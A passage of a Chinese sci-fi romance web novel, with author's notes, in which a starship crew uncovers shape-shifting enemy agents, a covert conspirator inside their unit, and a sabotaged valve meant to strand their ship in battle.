小鹿指挥官头痛地表示, 最近段洄盯暗影组盯得太紧了, 要不还是点外卖在会议室吃吧，进而又得到了一致认可。 最后三个人点了非常丰盛的外卖, 满满当当摆了会议室一桌子。 江悦递给林瑜淞和戴维尔一人一瓶饮料，叹了口气：“闻哥他们什么时候才能回来啊, 这位段上将一来，整个警部和军部都乱糟糟的。” 就连戴维尔这种相对迟钝的人都感受到了目前不对劲的风向, 微微皱了皱眉：“警部和军部联合管辖这事本来就很离谱，执行起来当然会乱。” 原本两个各自独立的系统, 现在硬要放在一起, 美曰其名联合管辖提高灵活性和统筹力, 但谁都知道这背后必定是一场你死我活的政治斗争。 可在这个时候, 突然进行这种政斗的目的到底是什么？ 林瑜淞切开牛排吃了一口, 虽然现在营养代餐剂多种多样，既方便又营养, 但真正的食物能带来那种纵享感和解压感，是任何营养剂都代替不了的。 他推了推眼镜：“我听说利切尔局长最近日子不太好过。” “不用听说, ”江悦摆了摆手，“上周开大会的时候我看到他了，哇，好像老了十岁。” “不过我倒真是不太理解，”戴维尔摇头，“这个段上将，这么盯着我们干什么？” “他不是盯着我们, 他只关心闻哥。”江悦冷冷道，“要不是知道他是首都星那边派来的人，我真怀疑他是不是和闻哥有仇，每次都拐弯抹角地打探闻哥的信息，也不知道到底居的是什么心。” 林瑜淞放缓了咀嚼的动作，听着江悦的话，若有所思。 “哎，我还是好想闻哥，也想凯利斯。”代理指挥官有些闷闷不乐，“裴简珩那张脸实在是太帅了，也有点想念。” 戴维尔：“……” 林瑜淞：“……” 林瑜淞轻咳一声：“代理指挥官，注意用词。” 江悦对他做了个鬼脸。 玩笑之余，其实江悦也在偷偷地观察林瑜淞的态度。 他这个人一直都是淡淡的，话不多，但心思极为深沉细腻。闻哥让自己而不是他来当这个代理指挥官，虽然他嘴上不说，做事也一如既往，但江悦不知为何，总觉得他好像……哪里不对。 但她又很难找到切入点去和瑜淞哥聊一聊，毕竟一旦聊的哪句话不对，就很容易变成得了便宜还卖乖。 更何况，聊什么呢？ 江悦是不会把这个位置交出去的，她知道林瑜淞很厉害，但自己也不差。 闻哥说得对，她当年熬过了那么多困难，吃了那么多的苦，就是为了站得高一点、再高一点，能为自己的种族争取更平等的待遇和利益。 曾经她想过妥协，想过放弃，是闻哥给了她机会，重新点燃了她心中那簇火焰。这把火一旦燃起来，她就不允许它再熄灭。 与其用苍白的语言去聊，还不如用实际的行动让林瑜淞发自内心地认可她。 江悦把蔬菜塞进嘴里，下定了决心。 一个很明显的事实摆在眼前，有人盯着闻哥。 她要保护暗影组，也要保护闻哥，就像他曾经为这里的每个人做的那样。 很轻的震动声传来，林瑜淞看了一眼自己手腕上的通讯，面色不变地关掉了消息显示，把最后一口牛排吃掉，轻轻把擦过嘴的纸巾放下：“我接个通讯，你们慢慢吃。” 江悦没当回事，只是摆了摆手。 林瑜淞面色如常地走出会议室，看着通讯上面显示的时间地点，眼神幽深。 …… 闻铮在舰桥上和秘密通讯频道沟通的时候，其他人已经都坐到破晓号的临时会议室里了。 程迹又把黑框眼镜带上了，一眼扫过去，无非就是个有着浓浓学院气质的学者，哪里像背负了血海深仇的种族灭绝幸存者和被判了四千多年刑期的联邦逃犯。 黎晓坐在他旁边，一脸崇拜地看着他，小脸激动得通红，看样子很想找个话题切入和程迹聊一聊，却又不太敢开口。 凯利斯在一边越看越不得劲，用胳膊肘捅了捅裴简珩：“小裴啊，你觉不觉得闻哥就这么相信了他是程迹，有点太轻易了？” 裴简珩被他问的一怔：“……为什么这么说？” 凯利斯摸了摸下巴：“首先，我不否认他是克米恩人，除了克米恩人还没有其他已知种族能做到随心所欲地变幻种族和外貌。但这并不意味着他就一定是程迹吧？从没听说这个赫赫有名的物理学家是克米恩人啊？如果他变化出了程迹的模样来有意接近我们呢？” 裴简珩沉默了一下，方才道：“程迹身上背着联邦最高通缉令，这个身份风险很大。任何人在听到这个身份以后，最有可能的情况不会是和他合作，而是把他抓起来。如果他不是程迹，他完全没有必要冒这个险。” “更何况——” 银发Alpha看了一眼已经聊起来的程迹和黎晓，听了一耳朵他们在说什么kantrowizt极限、重子声学振荡、彭罗斯过程等天体物理术语，脑瓜子嗡嗡的。 他一声和凯利斯说：“你不觉得物理就和数学一样很难伪装吗？不会就是不会，装也装不出来。” 凯利斯：“……” 呃，这么一说好像也是，伪装成顶级科学家，这门槛也有点太高了。 他们这边还在小声蛐蛐，临时会议室的门自动感应打开，闻铮踏进了会议室。 “程迹会临时加入破晓号，”闻铮在主位坐下并宣布，“虽然这艘船不大，但也还麻烦你先担任科学官一职了。” 程迹微笑：“不麻烦，闻指挥官愿意和我合作，程迹不胜感激。” 闻铮看了一眼其他人，征询意见。 黎晓双手合十：“谢天谢地，这艘船上终于有第二个懂物理的人了！” 他作为一个没正式毕业的学员，真的压力好大！ 激动之余，他把手搭在了程迹的胳膊上，宛如抓到了救命稻草：“程少将，请您一会儿一定要来看看破晓号的空间迁跃动力核到底是怎么回事！” “当然。只是我要再提醒你一下，” 程迹温和地看着他，“我已经不是少将了。” 黎晓面露犹疑，纠结了一下才说：“您给我上过一节课，我可以叫你程教授吗？” 程迹对他眨了眨左眼：“你可以叫我茱莉。” “……称呼的问题可以私下里再讨论，”闻铮差点被茱莉两个字呛到，“当务之急，我们对齐一下目前的信息，尽快确定下一步方向。” 此话一出，所有人的神色都严肃了起来。 “程院士，”闻铮斟酌了一个相对正常的称谓，“你之前说有一些事情需要我们知道，具体是指什么？” 程迹点了几下手腕上的通讯，半空中出现了几个三维人物，闻铮认出来是TPAX-2560上的那五个人类和艾尼默人。 “我从我自己的消息网中得知，有艾尼默人和人类在以售卖魁斗酒的名义往返于洛河星系7号星、特安斯特-B中转星和魁斗星之间，并且他们看上去并不是真心地想挣钱。花了很大力气，我终于和他们搭上了线，又费了很大劲才获得他们的信任。” 程迹把那蛇属和蛛属艾尼默人拎了出来：“这两个人是这盘生意的主要负责人，其他三个人都是听命行事，有的时候这三个人也会换成其他人前来打下手。” “这一点我也很奇怪。”闻铮蹙眉，“第一，艾尼默人被德瓦人当做奴隶甚至牲畜，怎么可能会有这么大的权力？第二，那两个人类好像没有自主思维，只知道服从命令，这也讲不通。” 程迹的叹息声在会议室里回荡。 “你很敏锐，闻指挥官，这也是我要说的重点。” “我不知道他们具体是怎么做到的，但部分德瓦人可以从外貌和基因序列层面变成艾尼默人和人类BETA。” 程迹手一挥，这五个人在半空中站成了一排：“他们五个人，根本不是艾尼默人和人类。” “——他们是德瓦人。” 沉默。 在蔓延的沉默中，所有人都在努力消化程迹给出的情报。 电光火石之间，裴简珩好似想到了什么！ 艾尼默人…… 人类…… 德瓦人…… 基因改造成人类和艾尼默人的德瓦人…… 他立即扭头朝闻铮看去，也正好撞见闻铮朝他看过来的目光。 湛蓝与墨黑在半空中一触即分，双方都很确信，他们想到了同样的一件事。 闻铮感觉眼前被盖住的层层纱帘中，最外面的一层正在被缓缓揭开，他沉声问：“你是怎么知道的？” 程迹指了指自己的鼻子：“我能闻到他们那股令人作呕的味道，那种宛如从地狱而来，浸泡着我同胞的鲜血和他们腐烂灵魂的臭味。” “此外，”他换了一个没有那么抽象的答案，“这些经过改造的德瓦人，会在死后第16个小时恢复原样。如果你们有疑虑，可以去确认一下。” 闻铮眯了眯眼，转头望向了医疗官：“赫尔，我和裴简珩开回来的逃生舱上的那具尸体现在在哪里？” 赫尔一惊，顿觉汗毛直立，天灵盖发麻—— 作者有话说：小剧场1： 小裴：数学和物理一样，不会就是不会，装也装不出来。 凯利斯：……早知道上学的时候不逃课了= = 小剧场2： 表面的程少将：高智商、顶尖科学家、黑框眼镜高智hot nerd[眼镜] 实际的程少将：女装大佬茱莉[星星眼] 第82章 ……还好吗？ 赫尔用自己的虹膜信息刷开了冷冻舱, 那个蛇属艾尼默人的尸体就静静地躺在那里。 闻铮垂眼看着已经结成冰霜的舱室，对赫尔轻轻颔首。 赫尔按下了一个按钮，装有蛇属艾尼默人尸体的冷冻蛋形舱瞬间解冻。 随着冰霜的褪去, 那个自杀的蛇属艾尼默人在众目睽睽之下, 逐渐褪去了艾尼默人的外观特点，取而代之的是浑身上下的暗黑色皮肤。 闻铮掏出随身揣着的手套戴上, 扒开了他的眼皮，浅到发白的眼珠子映入眼帘。 ……德瓦人。 闻铮心里一沉, 真的如程迹所说，德瓦人竟然能在基因层面伪装成艾尼默人和人类Beta！ 怎么做到的？ 为什么要这么做？ 德瓦人那么歧视艾尼默人, 怎么会自愿变成他们？ 程迹看到闻铮蹙起的眉头，轻声道：“闻指挥官, 我知道你想问为什么, 以及怎么做到的, 但我只能回答你后者。” 他的眼底有着天崩地裂般的痛苦和恨意：“德瓦人用我的族人做试验, 他们为了找到能临时转变基因和外貌的办法, 灭绝了整个克米恩人。 ” “我至今还没有找到他们要这么做的原因，但我们都很清楚德瓦帝国到底是个什么东西, 能够让他们灭绝一个种族都要得到的技术，必定是为了灭绝另外一个种族。” 程迹紧紧盯着闻铮的脸, 一字一句道：“而我并不觉得他们的目的是艾尼默人，你觉得呢，闻指挥官？” 闻铮的心口倏地一紧，他知道程迹说中了关键之处！ 德瓦人已经凌驾于艾尼默人之上，他们根本不关心这个种族，所以最大的可能，只有人类！ 沉默半晌, 闻铮问道：“你有没有把这个发现上报联邦军部？” “本来是打算上报的。”程迹淡淡道，“但我没有任何证据，又是被关进了联邦法则之塔的罪犯，军部不会相信我的。” 这也是为什么程迹隐瞒身份，一定要让闻铮他们亲眼看到这些不寻常之处的原因，否则他们也不会光凭程迹的一面之词就相信他说的话。 闻铮没有再追问下去：“还有别的问题吗？没有的话就各自回到自己的位置上——” “我还有一个问题，闻哥。” 所有人都看了过去，出声的是裴简珩。 闻铮也是一怔：“……什么问题？” 裴简珩把视线移向了程迹，沉默了半分钟，方才出声：“程院士，我想知道，为什么你会被判处’反联邦人道主义基因工程研究’的罪名，你到底做了什么基因实验？” 在场六个人中，凯利斯和黎晓有些不明所以，只当裴简珩是单纯的好奇，但闻铮和赫尔则是心里微微一沉。 闻铮凝视着Alpha年轻俊美的面容，眼前浮现的却是他在特安斯特高塔上和逃生舱里，哪怕尽力掩饰也无法克制流露出的痛苦。 裴简珩是怀疑……他身上的基因实验和程迹有关系？ 死寂在冷冻舱里蔓延开来，黎晓控制不住地打了个喷嚏，打破了这有些尴尬的寂静。 裴简珩难得一见地展现出咄咄逼人的一面，他甚至踏前了一步：“为什么不愿意回答？” 程迹淡淡道：“因为这是联邦军部最高机密。” “你已经被联邦军事法庭判处了四千七百二十一年的刑期，你是联邦军部的一级重犯，”裴简珩道，“让我很难相信你是为了遵守联邦的法律而保密。” 程迹知道裴简珩的履历，在他们一行人落脚在瑞昂酒店的时候，他就通过其他办法查到了他们的信息，当然也知道眼前这位Alpha中校，曾经在克米恩星服役，甚至因此得到过军部表彰。 只是这一点，就足以让程迹对他和赫尔另眼相待。 所以他只能轻轻叹息。 “我没有进行任何基因实验，我只是提出了我的理论基础设想和初期方案。” “如果你没有付诸实践，”闻铮察觉到了不对的地方，“军事法庭怎么可能判你’反联邦人道主义基因工程实验’罪名成立？” 星际联盟主张自由、平等、博爱与公正，怎么可能只是因为某个人的理论就将其判处如此严重的罪名与惩处？ “’研究’，闻指挥官，”程迹修正他的话，“不是’实验’，是’反联邦人道主义基因工程研究’。” 闻铮一怔。 “顺便一提，我不是因为这个罪名本身而被定罪的。”程迹顿了一下，才又继续，“这项理论与方案曾被联邦军部封存，但不知为何被德瓦帝国所知晓，将所有资料和数据都抢走了。” 众人皆是一惊！ “抢走了？！”凯利斯震惊，“德瓦帝国竟然能从联邦军部总部把数据偷走？！” 那是整个联邦防守最严密的地方！密不透风！一只虫子都飞不进去！ “不，那个时候这些数据和资料还没有被转移到军部总部。”程迹眼底划过巨大的痛苦和悔恨，“……它们被临时存放在克米恩星的最高图书馆。” “……” 闻铮双唇微张，鸡皮疙瘩从他的后颈开始蔓延，一时之间一句话竟然都说不出来。 程迹闭上了双眼，泪水无声地从他眼角流了下来。 “我想尽早地结束战争，想尽我所能地减少伤亡。” “我以为只要我们有了更碾压的武器和更强的战力，哪怕付出少数人的代价，也能挽救更多的生命。” “但事实上，我却亲手断送了我自己族人的命运。” …… 会议结束，所有人各自散去。 裴简珩回到了自己的舱室，坐在床边，深吸一口气把脸埋进了双手里。 在那三个月里，每一天他都以为自己熬不过，捱不了，活不下来了，第二天睁开眼睛的时候，他都在恨自己为什么还没死，为什么还要或者受这种折磨和痛苦。 他目睹着其他的试验品、不、他的同伴们，一个接一个地在基因实验中死去，再像废弃品一样被扔进实验垃圾回收池里，联邦前锋突击卫3队的26个人中，在那一天只剩下了他和贺朝两个人。 唯一一个生的机会，他留给了贺朝。 而当他准备坦然迎接死亡与解脱的时候…… “——笃笃。” 倏地，有个莫名的声音响起，裴简珩一时之间没有反应过来。 “——笃笃。” “——笃笃。” 又是几下，他这才回过神来，是自己舱室的门被敲响了。 “……来了。” 裴简珩抹了一把脸，竭力想把那些阴影抹走，路过洗漱间的时候还洗了洗脸，用冷水让自己清醒一下。 打开门的一瞬间，一张苍白瘦削的脸出现在他眼前。 闻铮微微抬脸看着他，轻声问：“……还好吗？” 裴简珩红着眼睛，就这么望着他，眼前的脸和当年他张开双眼看到的那张脸在这一瞬间重叠，让他难以自控地伸手，一把将闻铮拥入怀中！ 闻铮在他刚一动的时候就猜到了他的动作，犹豫了一下，还是没有反抗也没有挣扎，就这么让他紧紧环抱着自己。 他的右手在空中停滞了一下，感受到几滴热泪落在自己脖颈处，就还是将手轻轻落在了他的后背上。 在这个时候，闻铮才真切地感受到，这个高大、俊朗、温柔、正直又忠诚的超S级Alpha基因战士，也就只有27岁。 …… “喝杯水。” 闻铮把一杯水递给他。 裴简珩低声道谢，热水划过喉口的感觉让他得到了一丝宽慰。 “……谢谢您，”裴简珩轻声说，“专门来看我，您放心，我会很快调整好状态，不会影响大家的。” “你是我的舵手，”闻铮对他笑了一下，小梨涡在颊边若隐若现，“也是一起经历了生死的朋友，所以除了工作以外，我也关心你的身心健康。” 裴简珩坐在床边，仰头看着站在他对面的闻铮。后者的脸挡住了光源中心，只有莹润的黄色光晕在周围围绕，恍惚间宛如神明垂怜，就像那一天一样。 他难以自控地伸手，环抱住闻铮精瘦的腰，声音闷闷的：“闻哥……” 闻铮因为这种在床|上以外的亲密举动打了个细小的冷颤，但即使不习惯，他也没有挣开，而是搭上他的手，轻轻拍了拍。 “您相信程迹吗？”裴简珩问。 “部分吧。”闻铮淡淡道，“我相信他作为克米恩人，绝对不会是德瓦帝国的人，但我对他仍然报以怀疑。毫无疑问，他在帮助我们，也在利用我们，我只是还不知道他的最终目的到底是什么。” “不过他倒确实给了我们一些信息，”裴简珩喃喃，“谁能想到德瓦人竟然能在基因序列和外貌上临时变为艾尼默人和人类Beta。” “我知道你和我想到了同一件事。”闻铮想到他们在会议室对视的那一眼，“我需要和江悦——你先松开我。” 裴简珩依依不舍地松开双手，很明显没有抱够。 闻铮对他的懂事倒是很满意，一边扬声让舱室内配备的人工智能连接暗影组，一边顺手呼噜了一把裴简珩的银毛。 裴简珩：“……” 这个手法怎么有点熟练又有点奇怪啊…… 总感觉好像不是在摸人呢…… “连接中……” “连接成功，江悦已在频道内。” “——闻哥！” 收到通讯请求的江悦兴高采烈地接通了，看到全息投影的下一刻愣了一下：“裴简珩也在啊！” 这两张脸放在一起，哇，宇宙奇观。 ……等一下，裴简珩，怎么领导站着你坐着，你胆大包天啊。 闻铮看着她，哪怕是全息投影，他也能看出来这个艾尼默小女孩变得消瘦了一些，也憔悴了一些，但眼底的光和坚定比起之前尤甚，让他心里也有了一丝宽慰。 “江悦，我有个问题需要请你们帮我确认一下。” 江悦立刻把发散的思维拉回来，正了神色：“您请说！” “那个自杀在审讯室的蛇属艾尼默人，我们曾经怀疑他不是真正的’但丁’，还记得吗？” “记得。”江悦有些挫败，“我也查了很久，但一直没有进一步的线索。” 闻铮神色严峻，眼色沉沉：“……他的尸体呢？”—— 作者有话说：小剧场： 江悦：闻哥和裴简珩这两张脸放在一起，真的对我的眼睛很友好[求你了] —— 感谢34402499、西江月、北风其喑和珍白雪w的营养液！掉落热水x1！ 第83章 有人要你们的闻指挥官死 江悦一愣。 “尸体？”她有些犹疑, “按照流程，尸体送去解剖之后如无可疑，就会联系死者家属取走了。但丁没有在世的任何亲属, 过了联络期和公示期后, 会走人道主义冷冻流程。” 闻铮把刚刚程迹的发现简明扼要地和江悦同步了一下，不过省略了这位联邦重犯的信息, 艾尼默小鹿惊在当场，一时之间一句话都说不出来。 德瓦人？基因和外貌可以转化为艾尼默人和人类Beta？！ 这怎么可能！ “所以我需要你们帮我去检查一下他的尸体, ”闻铮缓缓摇头，“虽然我的直觉告诉我, 这个答案不一定会很顺利地找到。” 江悦领命。 在全息投影关闭之前，她突然想到了什么, 急急道：“闻哥, 等一下！” 闻铮关闭通讯的动作一顿：“怎么了？” “闻哥, 您认识这个新来的段洄上将吗？”江悦挠挠头, 还是问了, “他一直十分刻意地和我们探听您的相关信息，以及您和利切尔副局长的关系, 我总觉得来者不善。” 段洄？ 闻铮把自己在首都星的那几年结过仇的人在脑子里都过了一遍，确实对这个名字丝毫印象都没有。 他头都没回, 顺手又轻轻拍了下裴简珩的发顶：“这个人你到底认不认识？” 裴简珩苦笑：“算认识吧……小的时候社交场合吃过几次饭，职场上也有些往来，但我们互相都不喜欢对方，他是个很难搞的笑面虎。” 闻铮沉吟，这个段上将在这个时候来7号星，到底是不留情面的“发配”，还是抱有其他目的？又为什么对自己这么感兴趣？ ……幸亏提前走了, 不然还挺麻烦。 江悦却微微睁大了眼睛，圆圆的眼睛在闻铮和裴简珩之间看来看去。 她的心思一向细腻，怎么可能看不出来闻哥和这位刚加入三个月不到的“关系户”的关系好像……一下子变得不一样了起来？ 至于到底哪里不一样，她也说不出来…… “我知道了。”闻铮心里有了一些决断，把明显有点出神的江悦又拉了回来“你们打马虎眼糊弄一下，不用太起冲突，先保护好自己，我们很快就会回去了。” 现在自己不在7号星，如果这个段洄能这么直接地打探暗影组，说明他有恃无恐，也说明利切尔在目前的局势里已经处于下风，不然他怎么能搞得这么光明正大。 这种情况下，暗影组剩下的三个人还是先求稳为主，不要在德瓦人的阴谋还没查出来之前，先一步成了政斗的牺牲品。 江悦用力地点了点头，这次她率先结束了通讯。 她还在思考闻铮的话，突然办公室的门被敲响，是戴维尔走了进来给她文件。 “戴维尔，”她微微皱眉，“如果我想找到之前那个但丁的尸体，我应该去找谁？” 戴维尔愣了一下，但他也没问原因，只是回答问题：“可以问何首席，鉴证组的管辖范畴包括遗体确认。” “好！”江悦精神一振，“我去买杯咖啡给何首席，你要不要？瑜淞哥是不是也要——诶，他人呢？” …… 林瑜淞正开着悬浮车前往蓟梨河一个偏僻的岸边。 他把车停在了五百米开外，下车走向河边。在那里，早有一个戴着黑色覆面的黑色西装男人在等他。 “你迟到了。” 覆面男人的声音和上次不一样，林瑜淞知道，哪怕他招揽了自己，却仍然不信任他。 “就2分钟。”林瑜淞淡淡道，“等待是一种美德。” “守时也是一种美德。”覆面人道，“你们手里查到什么新线索了吗？” “没有什么新的东西。”林瑜淞道，“现在段上将对暗影组穷追不舍，我们就算想查点东西也束手无策。” 覆面人意义不明地哼了一声。 “说到这个段上将，我倒是很好奇。” 林瑜淞双手环胸：“他是不是也是你们的人？不然他为什么要一直打探暗影组——不，打探闻哥？” “很奇怪么？”覆面人笑起来的声音有点嘶哑，“你们这位闻指挥官呀，可是神秘得很。在整个系统里，只有一个他的名字和军衔，连张照片都没有。利切尔那个老东西把他护成这样，明摆着有问题，段洄打探他有什么奇怪的？” 林瑜淞眉毛一挑：“系统里的事，你这么清楚？那我是否可以假设，此前欧睿被恢复的案底也是你做的？” 覆面人没有回答，只是反问：“你再猜猜？” “再猜下去的话，我怀疑但丁那个不请自来的律师也是你派来的，”林瑜淞抬眼看他，神色平静地说出自己的想法，“你能看到系统里的逮捕记录，知道但丁被抓来了暗影组，就替他找了一个律师，看似是帮他辩护，实则是看着他，生怕他说了什么打乱你计划的东西。” “以及，是你在背后推动戈维.斯坦利的事我也没必要猜了，这已经是板上钉钉的事实。” “你蛮有想象力的嘛，”覆面人轻轻地鼓了鼓掌，“不愧是暗影组的大脑，我至今不懂为什么闻指挥官选择了那个艾尼默姑娘而不是你。” 林瑜淞没有对他放在明面上的挑拨进行回应，继续问：“我只是想不明白，为什么？欧睿和欧赫对你来说到底有什么仇，你要把他们一个弄死一个搞下台？” “他们跟我没有仇，我本来也不打算对他们动手的。”覆面人知道自己如果要利用林瑜淞，也需要做出一些表面态度，所以对这些已经结束的事情倒是承认得很慷慨，“谁让欧睿不请自来，知道了我的身份，我怎么可能留他呢？” “他父亲又是下一任星长，如果他告诉了欧赫，那对我来说可就有点麻烦了。” 所以他才利用戈维和向星苑，做了这么一个局，达到了自己的所有目的，至于活口…… “你找人杀了戈维，又推给了欧赫。”林瑜淞说，“既灭了口，又让欧赫再也无法东山再起。” “这就是我喜欢你的地方，”覆面人又笑了两声，“聪明又识时务。” 林瑜淞没有再猜下去，就像覆面人说的，他很聪明，也识时务，他知道再问下去只会适得其反。 “……闻哥快回来了。” 半晌，林瑜淞才道：“留给你的时间不多了。” “你放心，不用隐晦地提醒我，我说过他回不来，就是回不来。”覆面人倒是一针见血地指出了林瑜淞的小心思，“破晓号，是一艘很老的船了。” “这么老的船，发生什么问题都不足为奇吧。” “如果运气不好，刚好在打起来的时候动弹不得，那也没什么办法。” 林瑜淞猛地站直了，难以置信地看着他！ 覆面人又“嗬嗬嗬”地笑起来：“这次说了这么多，算我的诚意。下一次，你需要给我一些我想要的东西，明白了吗？” …… “这艘船真得很老了，”黎晓叉着腰，“技术也蛮落后的，所以我拿这个空间迁跃核心一点办法都没有，为了防止系统加热过载，我只能时不时地退出空间迁跃模式，让它能缓一缓。” 高出他两个头的程迹接过了轮机室的悬浮面板，仔细地看着上面的数据指标，微微皱起了眉，他向黎晓伸手：“把工具箱和防辐射衣给我。” 黎晓一惊：“你、你要干嘛？！” 程迹一边把自己的外套脱下来，一边说：“小朋友，数据面板确实极大地提高了效率，但有的时候，科技也会成为一叶障目的东西。” 他看着还愣在原地的黎晓，轻轻地拍了一下他的发顶：“还愣着干什么？” “……哦哦哦哦！” 黎晓仿佛如梦初醒，连忙把工具箱和防辐射套装翻了出来。 程迹穿戴好，嘱咐黎晓：“控制好面板，如果辐射误差大于0.032%，立刻把我穿梭出来。” 他对黎晓眨了下左眼：“不然，你就只能给我收尸了。” 黎晓：“……” 什么啊！ 还没等黎晓反应过来，程迹已经打开闸门跳进核心反应堆了！ 黎晓：“啊啊啊啊啊啊！” 这不对吧！！ 黎晓一边紧盯着数据面板，一边还看着程迹在里面东摸摸细看看，从工具箱里拿出来各种工具也不知道在修什么。 “滴——” 提示音响起，数据面板显示辐射误差>0.045%。 黎晓打开通讯：“程教授！我得把你弄出来了！” “等一下。”程迹的声音很冷静，“我还需要1分钟。” “没有时间了！”黎晓急得团团转，“距离0.032%只有40秒了！” “我不管你用什么办法，”程迹的声音冷硬起来，“保证我的1分钟时间，如果没来得及调整回去，这艘船就会失去空间迁跃功能。” 黎晓：“……” 他深呼吸两次，让自己冷静下来，在脑子里飞快地把毕生所学都过了一遍，公式都在脑海里演练了三次，心一横，飞速地按了几个按钮，空间迁跃反应堆里就开始被注射某种白色气体。 数据看板的误差数据开始回升。 黎晓松了口气，感觉自己浑身的力气都被抽干了。 一分钟后，程迹对他做了个手势，黎晓操作穿梭台把他相位穿梭了出来。 他看着正在消毒的程迹。感觉自己的心都要跳出来了。 “人类的潜力果然是无穷的。”程迹微微一笑，眼睛在眼镜的遮掩下流露出一丝邪恶，“你已经靠自己悟出了星舰军校最后一学期的天体物理气体学第二节课的内容。” 黎晓：“……” 疯子…… 疯子！！ “除了你学到了新的知识外，”程迹戴着手套的手张开，掌心是一个形状奇怪的机械零部件，“我的猜想也得到了验证。” 黎晓一怔，凑过去看：“这是……” 程迹道：“有人要你们的闻指挥官死。”—— 作者有话说：小剧场： 邪恶北极兔：嗯，小朋友逗起来蛮好玩的^^ —— 恭喜北风其喑推测德瓦人掌握改变外貌和基因剧情正确！掉落咖啡x1！ 第84章 想我死的人太多了 “全舰广播, 请舰长立刻到轮机室。” 破晓号人工智能的声音突然响起，让仍然处在密闭环境里的闻铮和裴简珩都是一愣。 轮机室？ “黎晓把程迹带去轮机室了，”闻铮反应过来, “可能是他发现了什么。” 他的余光扫过还坐在床边的Alpha, 打算把他的注意力稍微转移一下，便道：“你和我一起去。” 裴简珩最后抹了一把脸, 站起来和闻铮一起朝轮机室走去。 走廊里很安静，空无一人, 裴简珩比闻铮要高出大半个头，只微微垂眼就能看到他墨黑色的发旋。 刚刚他的状态不对, 现在才慢慢反应过来。 闻哥……在关心他。 在冷冻舱的时候，闻哥就注意到了他的不对劲, 所以才会特意在结束以后绕到休息区敲开了自己的房门。而当他失态地抱上去, 闻哥也没有挣扎, 只是沉默地回拥住了他。 裴简珩的眼神很温柔, 比他平时的温文尔雅还要柔和万分, 哪怕他注视着的是闻铮的发旋，都好似深情地要将人溺毙进去。 好心软的闻哥…… 这是不是代表, 他开始有一点接纳自己了？ 对了，刚刚闻哥也说了, 他已经把自己当成了一起经历生死的朋友，虽然朋友对他来说还远远不够，但裴简珩的心依然在这一瞬间软得一塌糊涂。 而从战场中厮杀出来的闻指挥官，当然不会迟钝到对落在自己背后的目光一无所知。 倒也不是如芒在背，只是这种分外热切的注视，让闻铮一时之间进行自我反思，刚刚自己到底都做了什么？ 这明显已经超过了上司和下属的正常关系范畴, 对于朋友来说也稍显越界，对有肉|体|关系的人来说……倒是还算正常。 闻指挥官感觉自己的头有点痛。 他和裴简珩的关系已经在两个多月的时间里变得突飞猛进、两级反转、莫名其妙并且乱七八糟。 他对这个年轻Alpha的看法也从一开始的潜在威胁，变成能力出众的下属，再到共担生死的朋友，现在又变成上过床的AO……更妙的是，这些东西竟然能同时在一个人的身上存在。 这种陌生的复杂关系让闻铮难得的也有一丝鸵鸟心态，反正当务之急也是德瓦人和联邦的正事，这些还是之后再说吧…… 就在闻指挥官后背要被裴简珩热烈的目光盯出烫痕之前，轮机室到了。 在看到程迹和黎晓的那一刻，闻铮甚至松了一口气。 “别急着松口气，闻指挥官。”程迹对他意有所指地笑了一下，“你是得罪什么人了，居然要这么算计你，致你于死地？” 闻铮倒是没当回事：“想我死的人太多了，排队都要排一阵——怎么，你们发现什么了？” 程迹把手里那块小巧的零部件举到他和裴简珩的眼前。 闻铮看着这个奇形怪状的零部件，迷茫地问：“……这是什么？” 程迹对黎晓歪了歪头，黎晓有些紧张道：“这是……呃……一个改装后的止逆阀，通过这个东西，可以影响空间迁跃模式的量子运动和量子——” 闻铮：“……请翻译成非物理专业人士能听懂的话。” 黎晓张了张嘴，挫败地低下了头：“……它是造成我们空间迁跃模式失灵的东西。” “……对不起，闻哥。”黎晓的眼睛红红的，“是我没发现症结所在，差点害死大家……你骂我吧闻哥……” 一片寂静。 半晌，闻铮叹了口气。 那口气宛如千斤，沉沉地压在黎晓心头上，让这个Omega愧疚难当，甚至根本不敢抬起头来、更不敢直视闻铮的眼睛。 “你是在帮我，甚至是把你自己的生命和安宁的生活抛之脑后地帮我，我没有资格骂你。” 出乎程迹和黎晓意料，闻铮没有骂他，甚至语气都很温和：“我知道你不是有意忽略，也不是能力问题，你只是被迫太早地离开了星舰军校，没有机会到真正的星舰中进行长时间的见习，这不是你的错，而是星舰军校的视野之浅薄，因为固守偏见而宁可放弃一个极具潜力的天才。” 闻铮顿了一下，几不可闻地道：“这也是我的错，又怎么能怪你呢。” 黎晓猛地抬起头，错愕地看向他，显然是又惊讶又迷惑。 惊讶他没有责怪自己，又对他最后一句低喃感到不解。 什么叫……也是他的错？ 而在黎晓旁边的程迹，显然也十分惊奇，而那些讶异之色又被他悉数藏在了眼镜之后，轻笑了起来：“我倒真是没想到，原来闻指挥官——” 他特意加重了“指挥官”的重音，他知道闻铮听得出他的言外之意。 “——竟然是这样的领导风格，倒是和传闻中冰冷无情的名声不太相符，怪不得那么多人誓死追随你。” 闻铮睨了他一眼，隐隐警告：“我说了，你认错人了，别再让我说第三遍。” 程迹举手示意自己认输，把那个止逆阀在手指间转了一圈吸引所有人的注意：“如果这位小朋友能发现问题的根源是这个止逆阀，那他现在就不应该这里，而应该在星舰军校轮机学院当院长。” 闻铮和黎晓都是一怔。 “这个止逆阀，”他顿了一下，显然是尝试用非物理专业人士能听懂的话来表述，想了二十秒还是失败了，“……具体应用的物理原理我就不说了，总之，它是一个伪装得很精妙的陷阱，会让空间迁跃动力的问题看起来就像是普通的加载过热，任何数据看板显示的数字都只会导向这个结论。” 裴简珩眉头微皱：“但实际上……？” “黎晓的结论不是完全不对，这艘星舰其他动力都被翻新改装过，也侧面加深了是由于加载过热而导致动力失灵的观点。” 程迹把悬浮面板拉过来，把上面的数据划拉到其他人、尤其是闻铮面前：“实际上，这个止逆阀还兼备某种武器舱的传感功能，在检测到武器舱被使用后，止逆阀就会强行熔断主动力，迫使破晓号退出空间迁跃模式。” “不对啊！”黎晓突然想到了什么，“我们第一次被迫退出空间迁跃模式的时候并没有使用武器舱啊？” 程迹愣了一下，又在悬浮面板上操作了几下，海量的数据出现又隐去，他算的甚至比计算机还快。 “……第一次熔断的时候，驾驶动力应用情况是什么？” 裴简珩看程迹朝他望过来，先是愣了一下，随后回忆道：“为了缩短时间尽快赶到特安斯特-B中转星，我设定了最高迁跃速度的自动驾驶。” “那我知道了。” 程迹关掉了悬浮屏：“我修正我刚刚的结论，这个止逆阀具备的传感对象不只是武器舱，而是当这艘星舰可能陷入危机时候的任何指标。” “……” 